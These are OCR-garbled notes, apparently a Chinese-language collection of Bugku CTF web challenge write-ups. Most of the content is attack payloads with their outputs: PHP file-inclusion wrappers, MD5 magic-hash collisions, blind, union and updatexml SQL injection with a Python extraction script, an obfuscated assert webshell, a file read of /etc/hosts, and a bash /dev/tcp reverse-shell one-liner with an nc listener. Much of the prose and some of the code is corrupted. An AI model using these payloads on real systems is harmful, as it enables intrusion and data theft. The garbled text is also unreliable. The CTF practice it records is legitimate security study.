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php://filter/read=convert.base64-encode/resource=index.php

XA LB Blindex.phpHIJRRS, EHEETE Fifag

<?php
error_reporting(0);
if(!$ GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$ GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
¥
include($file);
//flag:flag{edulcni_elif lacol si_siht}

?>
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B R UG e (4 ST 14 B AR AR =R
PHP V4%
Secure Shell 2
rar:// — RAR

ogg:// — BEHR
expect:// — AERXHXKH
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https://coding.net/u/yihangwang/p/SourcelLeakHacker/git?public=true
# 3 Index.php.bak

* Created by PhpStorm.
* User: Norse

* Date: 2017/8/6

* Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 9);
= strstr($_SERVER[ 'REQUEST URI'], '?');
substr($str,1);
= str_replace('key',"'"',$str);
parse_str($str);
echo md5($keyl);

echo md5($key2);
if(md5($keyl) == md5($key2) && $keyl !== $key2){
echo $flag."Hif§flag";

BBEABEKE K et NS Mt MkeyB #oh T GXEW U Hkekeyystid) , MRIaxtkeyl key2 MIE#TmdSINE, FH#AT
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WERBASFRFEMDSINE & KB A OexooodE X, BEBPIANRBIE T L, HRRIZ0 0K 00k YT, ER%E, HRHEF
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welcome to bugkuctf

https://blog.csdn.net/yh1013024906/article/details/81087939

XEBLEET, AT phpth U B K php P 514k, A K& php://input php:/filter,serialize 7514k o
it Hy— %) iE

<?php $poc="atstste#rit"; $poc_1=explode("#",$poc);
$poc_2=%$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($ GET['s']) ?>
Fassertf AT /E Ephp RS

payload:
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hint:SQLZ R ¥
BN S 2 B BUELE G 6 3R A B R P SR AT T AW . R B BT AR R R AL EE T 2R IE B K SE A B
o

- Ja
Mysqlit FANSHER, #n3E ZTRADITIONALE R B # STRICT _TRANS_ TABLESH R £ ##data too long for column.
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bugku(md5 collision(NUPT_CTF))

<?php

$md51 = md5( 'QNKCDZ0');

$a = @$_GET['a'];

$md52 = @md5(%a);

if(isset(%$a)){

if ($a != 'QNKCDZO' && $md51 == $md52) {

echo "netf{F¥kkkkriittkkkkkkn s

"falsell'l";

"please input a";}

PHPTEANER MG 7 F AT B I, SA MM ="80=="RXI s HEBAT L, BIEE— LU0 T LHis FHEHMREN0, BRI
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s$878926199a
0e545993274517709034328855841020
$155964671a
0e342768416822451524974117254469
$214587387a
0e848240448830537924465865611904
$214587387a
0e848240448830537924465865611904
$878926199a
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0e545993274517709034328855841020
s$1091221200a
0e940624217856561557816327384675
$1885207154a
0e509367213418206700842008763514
$1502113478a
0e861580163291561247404381396064
$1885207154a
0e509367213418206700842008763514
$1836677006a
0e481036490867661113260034900752
$155964671a
0e342768416822451524974117254469
$1184209335a
0e072485820392773389523109082030
$1665632922a
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s$1502113478a
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s$1836677006a
0e481036490867661113260034900752
s$1091221200a
0e940624217856561557816327384675
s$155964671a
0e342768416822451524974117254469
s$1502113478a
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s$155964671a
0e342768416822451524974117254469
$1665632922a
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$155964671a
0e342768416822451524974117254469
$1091221200a
0e940624217856561557816327384675
$1836677006a
0e481036490867661113260034900752
$1885207154a
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s878926199a
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0e731198061491163073197128363787
$1885207154a
0e509367213418206700842008763514
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highlight_file('flag.php');
$ GET['id'] = urldecode($_GET['id']);
' Flag{ XXXXXXXXXXXXXXXXXX}" 3
if (isset($_GET['uname']) and isset($_POST[ ‘passwd'])) {
if ($_GET['uname'] == $_POST[ ‘passwd'])

print 'passwd can not be uname.';

else if (shal($_GET['uname']) === shal($_POST[ ‘passwd'])&($_GET['id']=="margin'))

die('Flag: '.$flag);

else

print ‘sorry!"‘;

Sha1fimd5E i —, 7EABEEAREELR EIHE R, SEAWRII. Frilix Bunamefpassword B ALK, idA
margin&X Bl .
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?ac=123&fn=php://input [Fifpost 123

3K getshell

J5 45 7842 BR ks W R 28 AL A

Phpill4: php2, php3, php4, php5, phps, pht, phtm, phtml 33X F .
KB php55eit

Content-TypeHIME K/NE it

Insert into JE A\

error_reporting(0);

$ip_arr = explode(',"', $ip);
return $ip_arr[0];

$host="1localhost";

$db="";
$connect = mysql connect($host, $user, $pass) or die("Unable to connect");

mysql _select db($db) or die("Unable to select database");

= getIp();
'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

X-Forwarded-For:1'+(case when (length(database()) = 5) then sleep(5) else 1 end) )#
X-Forwarded-For:1'+(case when (ascii(mid(database()from(1)))=119) then sleep(5) else 1 end)




LeiTE 5 R il
select case when xxx then xxx else xxx end;

BT gt uE, FoikfE A substrillsubstring, 181X B AT LL# Ffrom 1 for 184X
11’+(select case when substr((select flag from flag) from 1 for 1)="a’ then sleep(5) else 0 end))%23

import requests
import string

mystring = string.ascii_letters+string.digits

url="http://120.24.86.145:8002/web15/

data =“127.0.0.1’+(select case when (substring((select flag from flag) from {0} for 1)="{1}') then sleep(5) else 1 end) and ‘1’="1"#
X B {0 L B 2 T B 7 E K format

flag="*

foriinrange(1,35):

for j in mystring:

try:

headers = {"x-forwarded-for’:data.format(str(i),j)}
res = requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout:

flag +=]

print flag

break

print ‘The final flag:’+flag

get T B oh—Fsubstr®$i{E 7. substr(database() from 1 for 1) = substr(database(),1,1)

AR A E RS RAE
EHIF B NKIURG, RIS BRI, WA 4 R %S 551K T . Hikpayioad

0"order by 1,2,3#
"order by 1,2# RIHFF

" union select database(),1# ##E & ~Abugkusqll

" union select table_name,1 from information_schema.tables where table_schema="bugkusqll"# HyER Nflagl

" union select column_name,1 from information_schema.columns where table_name="flagl"# H%: flagl

" union select flagl,2 from flagl# HEZR

Logind

CBCFHifl B
https://blog.csdn.net/u013577244/article/details/86310881
EARBREXALIN, XBEHECERILA:

BABBRERIESLN, B IRivcipherff {H &8 &4
R Bl O, 5 H i usernameflipassword 7514k fbase64 2 4t, &4 ARS8 A0 3% 8% B 300 _E fjurlZmig .
It CATE b 38 2 75 £ I I — 58 B S HEAT unlfiBAg .
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https://delcoding.github.io/2018/03/bugku-writeup4/

A FEHPR (EEF—AfuzzB LA
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P HE, RALETREZFR, GEEK, =and, FrUUXGERITENGRBREAME, HRor select >RAHILIE, ATk
FMETR. MABIMERR, WEERKZengbd, BrUlalLEEE 7 HEN.

RIERAIMIE T RiEpoc:
username=admin%df%27or’'1’>‘1&password=admin
username=admin%df%27or'2’>'1&password=admin.

AT LAE B ZHorik Bl E I E &t Epassword R B IEH, 1 Horik BRI S RIEA WA PR, Fril, AT A MERITK
payload. T = HKpayload:

username=admin%df%27or(select(password))>'0&password=admin

BN R FBEAWRIF> G H R Z/RREEELASEALR, XBEEBSEBRMERE —MEWTE, WERSEE —NE/RF A
THIRET B, A0 R E T R.

FE R ERATE B2 >R T AW, RUBEN—MEI—ESWESED, WA NRNEE MM ZR0A 2 IEFMK . Frilik
#md5ft: 51b7a76d51e70b419f60d34736fI00. A#ES kAR skctf123456, HAJERA1EH— T itabkEfag.

XA EEN R IEM, W EHAR R R BN A PR FNIERL T, WERKIMAESW . B R AIR SR
FIF T mysqli b 71347 BoolBiE, mysqifE Z4F & LR IEHE, HAUEBHANZ/FEENEZ/FRIRD, BENFERFRD—FET
A HETF =T, H il X #7775 7T DAxt password F BU BT B AL LB . XANHIRTIR R ZE 2k, B A T 5 & KsqliEs)
KR AR . RUEREFHATBAI—FGEEAHATR, 5FEHIEGRBRselect* from £ 4 where username = ‘admin’
and password = e ek BIE NFIRHE, FEONIEIE T SRS ER, BTG K IE A) &select * from & 4 where
username="admin%df%27or(select(password))>'0 and password=""******";


https://delcoding.github.io/2018/03/bugku-writeup4/

MysqlH
select ‘abc’ > ‘a’;

P +
| ‘abc’ > ‘a’ |
P +
[1]

e +

P +
| ‘abc’ > ‘b’ |
P +
|0]

e +

FIF X Fde i, Phpassword ¥ BB AL LB Sk, 666

5 PR R R F I B AR IR O v

1B JE & R database length is 8

blindsq

RIEMERIER TR Radmin, ZB R&password, BRIEB[BEZHEZLN.

Login2

$sql="SELECT username,password FROM admin WHERE username='".$username.""'"

if (lempty($row) && $row[ 'password']===md5($password)){}

1EiE Rk L Fltips
RN ZunionyE ARy & HAT, WiEEA

username=1" union select md5(1),md5(1 )#&password=1
= #shell

PRI linuxEHL L B — T a

1 nc -lvv 8888

RIEHAT 2

1 |bash -i >& /devi/tcp//RipHi1ik/8888 0>&1

ks B AT R 3 f 58 B shell!!1(233333)

SR JE B SR AT

Trimf) Hid &

H# T BT Skshow.php R 5t A flag
%A RR EH 45 R T

SqHEA2
http://123.206.87.240:8007 /web2/

E#tmi I8 T 4E G ?


http://123.206.87.240:8007/web2/

ORI U8 A

username=admin‘~1717" "~ ' &password=admin

AR EERTR, EEXAPayload sl RN, XA EANMEANKEE Z—HREBR, FHMysqliF5F 8 B Z A 5F 1% i%md5
uname=admin'~1~((select(passwd))>'0192023a7bbd73250516f069df18b500"' )~ "' '~ '&passwd=admin

0192023a7bbd73250516f069df18b500
PO5b81fd960161505237dbb7a3202910 M _E I md5RINZE

X F AN md S H SR &R £ adminl23

At R

RT3 T selectfifor

m] LA

BIEF RS, BRAT, TE@IHK, TRERIRE

o [

REVERSE (MID( (passwd)from(-%d))

L 73 = R VA

mid (REVERSE (MID( (passwd)from(%-d)))from(-1))

7E L ASCIT
ascii(mid(REVERSE(MID((passwd)from(%-d)))from(-1)))>1

XX %
https://blog.csdn.net/u011377996/article/details/79340100

REHHESHERERTUE X REREE, HERAMTASE —LgURTTHE, FiphpmyadminZ 37,

PHP_encrypt_1(ISCCCTF)



https://blog.csdn.net/u011377996/article/details/79340100

1 /usr/bin/python

# -*- coding=utf-8 -*-

import base64

encrypt_text = base64.b64decode("fR4aHWWUFCYYVydFRxMgHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=")

encrypt _len = len(encrypt text)

print encrypt len

"729623334f0aa2784a1599fd374c120d729623"

data2=""
for i in range(encrypt_len):
datal = datal + chr((ord(encrypt_text[i])- ord(key[i]))%128)
data2 = data2 + chr((ord(encrypt_text[i]) + 128 - ord(key[i]))%128)

GET /1ndex.php?id=-1' uniunionon seleselectct 1,database() --+
web1002-1

GET /1ndex.php?id=-1' uniunionon seleselectct 1,user() --+
web1002-1@localhost

GET /1ndex.php?id=-1' uniunionon seleselectct 1,version() --+
5.5.34-1og

GET /1ndex.php?id=-1' uniunionon seleselectct 1,@@secure_file priv --
NULL

GET /1ndex.php?id=-1"' uniunionon seleselectct 1, (selecselectt table_name from infoorrmation_schema.tables where
table schema=database() limit 0,1) --
flagl

GET /1ndex.php?id=-1"' uniunionon seleselectct 1, (selecselectt column_name from infoorrmation_schema.columns whern
e table schema=database() anandd table_name='flagl' limit 1,1)

GET /1ndex.php?id=-1' uniounionn selecselectt 1,flagl from flagl --+
usOwycTju+FTUUzXosjr

GET /1ndex.php?id=-1' uniounionn selecselectt 1,address from flagl --+
./Once_More.php

FRHEERTR, XANTERED
GET /Once_More.php?id=1%27~(ascii(mid(database()from(1)))=0)%2
Web1002-2

My Id =1' and updatexml(1l,concat('1', (select group_concat(column_name) from information_schema.columns where tab
le_schema=database()), '1"),3)#</font><br></div><div><font color= "#999">Nobody!</font><br>XPATH syntax error: 'i
d,name,flag2,address1’'</div>

GET /Once_More.php?id=1%27 and updatexml(1l,concat('l',(select flag2 from flag2),'1l'),3)%23
flag{Bugku-sql_6s-2i-4t-bug}

iXEFA updatexml() BREIREEIEAN




UPDATEXML (XML_document, XPath string, new value);

B—/Z¥: XML _documentRStringi&, AXMLICREINTREZFR, 3CHNDoc

FEZANSH: XPath_string (Xpath#&REIFRFE) , WRAT fEXpathidis, ATLIEN EERBFE.

FE=ANSH: new_value, Stringigah, BERBIPIFKFAZMAREE

fER: SRR A& &R RKE

HAEXML_document I fFAXPATH_stringfi{E

MRATRENE A A

updatexml (1, concat(0x7e, (SELECT @@version),0x7e),1)

HAH concat() HBURKHER —FRH, BHAXSFFEXPATH stringiig s, MmHIgXaER, Bl

ERROR 1105 (HY@@OQ): XPATH syntax error: ':root@localhost’
payload W

# BHRIER

http://120.24.86.145:9004/0nce_More.php?id=1"' and updatexml(1,concat('~"',(select group_concat(table_name) fn|
om information_schema.tables where table_schema=database()),'~"),3) %23

# BER

?id=1"' and updatexml(1,concat('~"',(select group_concat(column_name) from information_schema.columns where ta
ble_schema=database() and table_name='flag2'),'~"),3) %23

# BHIE
?id=1"' and updatexml(1,concat('~"',(select flag2 from flag2), '~"'),3) %23

B\ %S EEflag
Fburp BB, %1E=213579
.5 B

id=-1"' union select 1,database(),version(),user()#

skctf_flag
5.5.34-1og
skctf_flag@localhost

id=-1"' union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_ schema=d
atabase() and table name='fl4g')#

skctf_flag

id=-1"' union select 1,2,3,(select skctf flag from fl4g)#
BUGKU{Sql_INJECTON_4813drd8hz4}




Cookiesix B
15 Al http://123.206.87.240:8002/web11/index.php ?line=&filename=a2V5cy50eHQ=

Filenamef#igZ&key.txt, LA Ffag.txt, FiZ2EECH, EEIndex.php,FfEbase644mty, &Ik ZElineft1 S £ mr A A B E
pais

Eindex.phpiBiL 5 & I
<?php
error_reporting(0);
$file=base64 decode(isset($ GET['filename'])?$ GET['filename']:"");
$line=isset($ GET['line'])?intval($ GET['line']):0;
==""') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'Q' =>'keys.txt',

' =>'index.php',

if(isset($_COOKIE[ ‘margin']) && $_COOKIE[ ‘'margin']=="margin'){

$file_list[2]="keys.php';

if(in_array($file, $file_list)){
$fa = file($file);

echo $fa[$line];

FE K Bfilefizkeys.phpal LLizE Flflag, &5 Bk Bcookielifl, 7 Bt Flkeys.php. R M. 75 2 & #http:k

Never never give up




<?php

$id=$ GET['id'];
$a=$ GET['a'];
$b=$_GET['b"'];

if(stripos($a,'."'))
{
echo 'no no no no no no no';

return ;

}

$data = @file_get_contents($a, 'r');

if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and ereg("111".substr($b,0,1),"1114") and sub
str($b,0,1)!=4)

{
require("f412a3g.txt");
¥

else

{

print "never never never give up !!!";

X EME—F BRI ReregR B, WU RAphpbR AT 5.3, BEI%00EHEEMWT, FEE%O00)EHIIFRFH. XAMZE, HIHK
IE MRk S /A %00, U & Bltrue,  W12R 2 J5 H K string 775 8 %00 I i %, U ST IE .
[Fl Ferge B B7E L EUCBUA KRR, string A AR K, EHEBRE NI TEAE, Nidix B EZEREKZnull=FALSE

A — %) iE

<?php $poc="a#s#s#e#tr#t"; $poc_l=explode("#",$poc); $poc_2=%$poc_1[0].$poc_1[1].%$poc_1[2].$poc_1[3].%$poc_1[4].%$p0

c_1[5]; $poc_2($_GET['s']) ?>

XA — TS Bt £ F assertHAT4E Z php S
BEEE 25 H F#flag

exipde()5 Elattstst#ettritt Nassert, {f Flassert()E ST E#RKsHE, assertE RIBHATIRIA .
fi# #Bpayload
?s=print_r(scandir(’./’))

AL EF, FFBdnn.
urlif nfodlag.txt, HAILAEFlflag T .

HERT

F A iR & W HAd SO, il nhosts
B, A E%HER, payload

B B RlinudfE RAHI A H 3%

Fiihhosts iZfEetc i, — THBEEET .

2. ff Ffopen() B3 readfile() B Fist B L4



Ffilpayload
?s=print_r(readfile(’.../etc/hosts’))

) 6

?s=print_r(fopen(’.../etc/hosts’,'r’))

TR IEN?

$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){

die('key is: '.$key);

keylkey1111222key:/1/akeya!

iR A4 3 IE T
5%

http://dcx.sybase.com/1101/zh/dbreference_zh11/rf-sqllanguage-s-4915351.html

POST /web8/?ac=1&fn=php://input
1

Welcome to bugkuctf

public $file;
public function _ tostring(){
if(isset($this->file)){
echo file get contents($this->file);
echo "<br>";
return ("good");



http://dcx.sybase.com/1101/zh/dbreference_zh11/rf-sqllanguage-s-4915351.html

= $ GET["txt"];
= $ GET["file"];
$password = $ GET["password"];

if(isset($txt)&&(file get contents($txt, 'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "&, efl¢Z°am"&°+c»™ak% flagd“|";

exit();

}else{
include($file);
$password = unserialize($password);

echo $password;

"you are not the number of bugku ! ";

$ GET["txt"];
$ GET["file"];
$ _GET["password"];

if(isset($user)&&(file_get contents($user, 'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php

}else{
echo "you are not admin ! ";

A HTRE, Fphp://inputfliphp://filterAfDIGEE—EME ZEMAN, FEREWNBhint.phpI AR, BEB—AFH AL toStrin
g 7 VETE X A M AT B BT BB B B BT, R—MNEARTE, FTLAEMIEFlagl T8, % AFlpassword
$password = unserialize($password);
echo $password;

HERFHILIE, echotidT, #EIEpassword XN RUMBFFFEMAT T, MFlagdPKitoString T iEm Rl —AN 3. FrCAnl DAEE LR 2]
flag.php
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